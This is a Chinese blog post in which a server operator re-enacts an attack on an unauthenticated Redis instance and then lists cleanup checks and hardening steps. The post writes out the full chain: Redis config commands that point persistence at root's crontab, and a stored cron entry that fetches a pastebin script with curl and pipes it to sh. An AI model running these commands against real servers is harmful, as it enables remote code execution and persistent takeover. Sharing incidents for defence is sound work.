由于近期阿里云服务器报警redis漏洞,经过调查对黑客的入侵过程进行了整理并模拟一遍,庆幸此次黑客行为未对公司造成影响,同时还让我学习了很多知识,这里分享给大家。
满足以上前提后,意味着黑客通过扫描端口工具锁定你的ip,这时可以远程连接你的redis数据库。
登录https://pastebin.com网站
生成如下测试脚本,并获取raw地址 https://pastebin.com/raw/hx4d4iPS
echo "hello test" >> /root/hello.outtest
在服务器上直接通过下面命令即可执行上面的脚本
curl -fsSL https://pastebin.com/raw/hx4d4iPS | sh
我技术很弱,是入侵我们服务器的黑客采用了这个网站。这里需要谢谢黑客,教会我新的知识。
这种方式意味着你有在服务器通过简单命令执行复杂脚本的能力。
3.1 修改redis配置
设置dir到定时任务目录
config set dir "/var/spool/cron"
设置持久化文件名为root
config set dbfilename root
以上两条命令意味着,以后redis所有数据都会保存在/var/spool/cron/root文件中。而这个文件就是root用户的定时任务配置文件。系统会执行该文件定义的定时任务。
step1:清空数据表
127.0.0.1:6379> flushall
OK
step2:添加一条数据。注意\n表示换行符。
127.0.0.1:6379> set test "\n*/10 * * * * curl -fsSL https://pastebin.com/raw/7dFmaK9n | sh\n"
OK
step3:保存数据
127.0.0.1:6379> save
在var/var/spool/cron目录下产生了root文件。
该文件代表了root用户的定时任务文件,系统会按照指定周期执行该文件的内容。
打开该文件,发现前面\n的效果就是 set的name和value分行存放。
通过crontab -l命令查看定时任务中已经存在该定时任务。其他乱码可以忽略,我猜想定时任务是按行读取的。
其他不符合语法的行都会执行错误。但是正确的行是可以被执行的。
tail -f vim /var/log/cron
查看定时任务日志,可以看到上述命令已经被执行。
/root目录下生成了hello.outtest文件,并且文件内容被定时更新
以上,就实现了在不登录数据库的情况下写入定时任务的功能。这个漏洞意味着黑客可以在你的服务器为所欲为,具备所有的权限和能力。
对方获取redis之后意味着他可以修改你系统的任何一个文件,并往里写入内容。
1,查看定时任务的/etc/crontab 和var/var/spool/cron等文件是否有异常的内容写入
2,查看用户登录秘钥是否有异常写入。(对方可以免密登录你的系统)
3,查看系统登录日志,查看是否有异常登录
4,其他你发现有可能影响的文件
1,关闭安全组redis的端口,或者给予最小访问规则
2,修改redis配置文件
参考阿里云的要求,配置完就可以很大程度避免该漏洞的影响。
https://help.aliyun.com/knowledge_detail/37447.html
参考
https://www.idc889.com/detail-1373.html
https://www.cnblogs.com/Dleo/p/6078948.html